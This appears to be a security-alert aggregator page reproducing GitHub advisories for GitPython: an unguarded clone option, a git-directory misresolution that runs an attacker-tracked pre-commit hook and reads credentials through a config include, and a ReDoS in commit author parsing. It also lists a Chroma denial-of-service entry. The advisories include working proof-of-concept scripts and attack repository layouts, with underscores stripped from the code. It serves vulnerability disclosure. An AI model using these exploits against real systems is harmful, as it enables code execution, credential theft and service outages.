Evidence - git/repo/base.py:145-151 — unsafegitinitoptions includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path". - git/repo/base.py:153-165 — unsafegitcloneoptions (the list actually enforced on clone) does not include "--separate-git-dir". - git/repo/base.py:1450-1452 — docstring of clonefrom/clone explicitly documents --separate-git-dir as one of the options allowunsafeoptions is supposed to gate. - git/repo/base.py:1495-1518 — clone() special-cases separategitdir only to Git.polishurl() it (path normalization for URL-like values), then runs it through Git.checkunsafeoptions(options=..., unsafeoptions=cls.unsafegitcloneoptions) — which, per the list above, does not flag it. - PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allowunsafeoptions at its default False.

False-positive check (adversarial re-read) - Is there a value-level check that would still stop this? No — checkunsafeoptions only inspects option names (via canonicalizeoptionname) against the denylist; it performs no filesystem/path validation on separategitdir's value, and no other guard in clone() touches this kwarg besides the Git.polishurl() normalization (which does not reject arbitrary paths). - Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafegitcloneoptions); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clonefrom() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clonefrom/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.

Remediation Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafegitcloneoptions in git/repo/base.py, matching unsafegitinitoptions. Since Repo.clone() already special-cases separategitdir for Git.polishurl() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.

Confidence High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.

Proof-of-Concept source (gitpython-001-poc.py)

python #!/usr/bin/env python3 """ GITPYTHON-001 PoC: Repo.clonefrom(separategitdir=...) is not in unsafegitcloneoptions, so it reaches git clone unguarded and writes a full git directory (config, hooks/, objects/, refs/, ...) to an attacker-controlled path OUTSIDE the intended destination directory, with allowunsafeoptions left at its default of False.

Run against the GitPython source tree under test, e.g.: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>

Benign: only writes/reads inside the given workdir. No destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option or the write does not escape the destination directory. """ import os import sys import subprocess

def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc" src = os.path.join(workdir, "src") dest = os.path.join(workdir, "dest") sentineldir = os.path.join(workdir, "OUTSIDESENTINEL") targetgitdir = os.path.join(sentineldir, "redirected.git")

for p in (src, dest, sentineldir): os.makedirs(p, existok=True)

# Minimal benign source repo to clone from. subprocess.run(["git", "init", "-q", "-b", "main", src], check=True) subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True) with open(os.path.join(src, "file.txt"), "w") as f: f.write("hello\n") subprocess.run(["git", "-C", src, "add", "file.txt"], check=True) subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)

import git # gitpython under test

print("unsafegitcloneoptions =", git.Repo.unsafegitcloneoptions) assert "--separate-git-dir" not in git.Repo.unsafegitcloneoptions, ( "guard now includes --separate-git-dir; PoC no longer applicable, target patched" )

try: repo = git.Repo.clonefrom(src, dest, separategitdir=targetgitdir) except git.exc.UnsafeOptionError as e: print("NOT VULNERABLE: blocked by UnsafeOptionError:", e) sys.exit(1)

wroteoutside = os.path.isdir(os.path.join(targetgitdir, "hooks")) and os.path.isfile( os.path.join(targetgitdir, "config") ) gitlinkpointsoutside = False with open(os.path.join(dest, ".git")) as f: gitlink = f.read().strip() gitlinkpointsoutside = targetgitdir in gitlink

print("repo.gitdir =", repo.gitdir) print("wrote git directory outside dest (sentinel) =", wroteoutside) print("dest/.git gitlink points outside dest =", gitlinkpointsoutside)

if wroteoutside and gitlinkpointsoutside: print("VULNERABLE: git directory created at attacker-controlled path " f"outside the clone destination: {targetgitdir}") sys.exit(0) else: print("NOT VULNERABLE: sentinel not observed") sys.exit(1)

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Chroma 1.5.9 fails to validate maximum bounds on HNSW index parameters maxneighbors, efconstruction, and efsearch in collection-create requests. Unauthenticated attackers can supply arbitrarily large parameter values to exhaust server memory and cause denial of service during index compaction.

First published (updated )
Severity
8.7
Code Injection
AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Repo.init decides which directory is the git directory by testing candidate paths in an order that considers the real .git last. Two earlier tests can be satisfied by ordinary tracked files. Git reserves only the literal name .git, so HEAD, objects/, refs/, config, gitdir, commondir and hooks/ at a repository root are all legal tracked content.

Consequently, after a victim opens or clones an attacker's repository, GitPython resolves gitdir to the working-tree root while real git correctly resolves <root>/.git. Everything GitPython then treats as "inside the git directory" is attacker-authored content — including hooks/, which it executes.

CVE-2026-87817

Affected code (3.1.59)

The discovery loop in git/repo/base.py tests, in order:

1. git/repo/base.py:299 — isfile(curpath/gitdir) and isfile(curpath/commondir) and isfile(curpath/HEAD) 2. git/repo/base.py:320 — isgitdir(curpath) 3. git/repo/base.py:341 — dotgit = osp.join(curpath, ".git") ← the real git dir, considered last

isgitdir (git/repo/fun.py:60) requires only that objects/ and refs/ are directories and that HEAD is a file; HEAD's contents are never parsed. The hook path is resolved from index.repo.gitdir (git/index/fun.py:73), i.e. the mis-resolved directory.

Proof of concept

Requires only pip install GitPython==3.1.59. Full script attached as poc1rce.py; it runs entirely in a temp directory and the payload only writes a marker file.

Attacker repository — four ordinary tracked files at the root:

| path | mode | content | |---|---|---| | gitdir | 100644 | .git\n | | commondir | 100644 | .git\n | | HEAD | 100644 | ref: refs/heads/master\n | | hooks/pre-commit | 100755 | #!/bin/sh + payload |

Victim — two ordinary calls:

python repo = git.Repo.clonefrom(url, dst) # or git.Repo(dst) repo.index.commit("automated commit") # code execution happens here

Observed on the PyPI release 3.1.59 (Linux and Windows):

real git says the git dir is : /tmp/.../victim/.git GitPython says it is : /tmp/.../victim <- shadowed attacker's hook executed : True git fsck : (clean)

The pre-commit hook runs at git/index/base.py:1201, before writetree(), so it fires even though the commit later fails.

Impact

A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool — can be made to:

1. Execute arbitrary commands via the tracked <root>/hooks/pre-commit when the victim calls index.commit(). 2. Read files outside the repository: the tracked <root>/config becomes the repository config and is parsed with mergeincludes=True (git/repo/base.py:765), so [include] path = ~/.aws/credentials discloses the file. (Repo.configreader still defaults mergeincludes=True, so the hardening added in 3.1.59 for .gitmodules/GHSA-7833 does not cover this path.) 3. Write a config file to an attacker-chosen directory via an absolute tracked commondir.

Delivery is silent: git clone exits 0, git fsck (including --strict, and with transfer.fsckObjects/fetch.fsckObjects=true) reports nothing, and the clone passes every read-only probe (head.commit, branches, isdirty(), untrackedfiles, itercommits) because a tracked commondir of .git pins commondir to the real .git.

Threat model / preconditions

- Attacker controls the content of a repository the victim opens or clones with GitPython (public repo, fork PR, mirrored dependency). - For code execution, the victim performs a commit via GitPython's native index.commit(). For the file-read impact, opening the repo and reading config is enough. - GITWORKTREE is not a mitigation — gitdir is assigned and the discovery loop breaks before the environment is consulted. - Real git is unaffected; only GitPython mis-resolves the directory.

Remediation

1. Test curpath/.git before the gitdir/commondir/HEAD triple and before isgitdir(curpath). 2. Resolve hookpath / commithookpath / getvalidatedreflogpath through repo.commondir. 3. Containment-check commondir/gitdir contents before joining (reuse SymbolicReference.getvalidatedpath). 4. Validate HEAD in isgitdir (require ref: refs/... or a 40-hex sha). 5. Pass mergeincludes=False in Repo.configreader (git/repo/base.py:765).

Note for the maintainers

Commit 406b98e1 (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via git rev-parse --git-path, which is immune because git rediscovers the true .git. Commit 9bc287a2 (2026-07-20) reverted it to avoid an unconditional rev-parse dependency — reintroducing the exec step. Measured at each commit with the healthy-looking layout: 406b98e1 → hook did not fire; 9bc287a2 … 3.1.59 → hook fired.

Scope note

Only the repository-root case is reported: where a real .git exists, git prefers it, and GitPython does not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a general ecosystem hazard rather than a GitPython defect.

###POC Files : poc1rce.py poc2fileread.py

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

GitPython's Actor.nameemailregex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.

---

Details

Vulnerable file and line:

git/util.py, line 863:

python nameemailregex = re.compile(r"(.) <(.?)>")

This regex is evaluated inside Actor.fromstring() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit.deserialize() └── git/objects/util.py:341 parseactoranddate(authorline) └── git/util.py:909 Actor.fromstring(string) └── Actor.nameemailregex.search(string) ← VULNERABLE

authorline is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: - commit.author - commit.committer - repo.itercommits() - repo.blame() - Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.) <(.?)> contains an unbounded greedy group (.) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

| Author field length (bytes) | Time to resolve .author | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | 200,000 | 150.488 s |

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

- A git server with receive.fsckObjects = false (common in self-hosted deployments) - A .git directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level

---

PoC

Environment used for testing: - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craftmaliciousrepo.py):

python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/.

Usage: python3 craftmaliciousrepo.py <targetdir> <payloadsizebytes> """ import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, captureoutput=True, text=True)

def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <targetdir> <payloadsizebytes>") sys.exit(1)

targetdir, payloadsize = sys.argv[1], int(sys.argv[2])

os.makedirs(targetdir, existok=True) run(["git", "init", "--quiet"], cwd=targetdir) run(["git", "config", "user.email", "poc@example.com"], cwd=targetdir) run(["git", "config", "user.name", "PoC"], cwd=targetdir)

with open(os.path.join(targetdir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=targetdir) treesha = run(["git", "write-tree"], cwd=targetdir).stdout.strip()

maliciousname = "A" payloadsize # Key: author field contains a '<' with no closing '>' authorline = f"author {maliciousname} <unterminated 1691999972 -0700" committerline = "committer PoC <poc@example.com> 1691999972 -0700" message = "ReDoS PoC commit"

commitcontent = ( f"tree {treesha}\n{authorline}\n{committerline}\n\n{message}\n" ).encode()

header = f"commit {len(commitcontent)}\x00".encode() store = header + commitcontent sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store)

objdir = os.path.join(targetdir, ".git", "objects", sha[:2]) os.makedirs(objdir, existok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed)

run(["git", "update-ref", "refs/heads/master", sha], cwd=targetdir)

print(f"Malicious commit sha : {sha}") print(f"Payload size : {payloadsize} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=targetdir, captureoutput=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if name == "main": main()

Script 2 — trigger the vulnerability (triggerredos.py):

python #!/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor.fromstring() -> Actor.nameemailregex.search().

Usage: python3 triggerredos.py <repodir> <commitsha> """ import sys, time, git

def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <repodir> <commitsha>") sys.exit(1)

repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2])

print("Accessing commit.author — triggers Actor.fromstring()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0

print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if name == "main": main() Execution and observed output:

$ python3 craftmaliciousrepo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 triggerredos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor.fromstring()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython pip install -e /work/GitPython

python3 /work/poc/craftmaliciousrepo.py /work/victim-repo 200000 note the SHA printed, then: python3 /work/poc/triggerredos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.

---

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

- CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it. - Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata. - Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When itercommits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.

---

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

python git/util.py, line 863 Before (vulnerable): nameemailregex = re.compile(r"(.) <(.?)>")

After (fixed — identical output for all well-formed input): nameemailregex = re.compile(r"([^<>]) <([^<>])>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203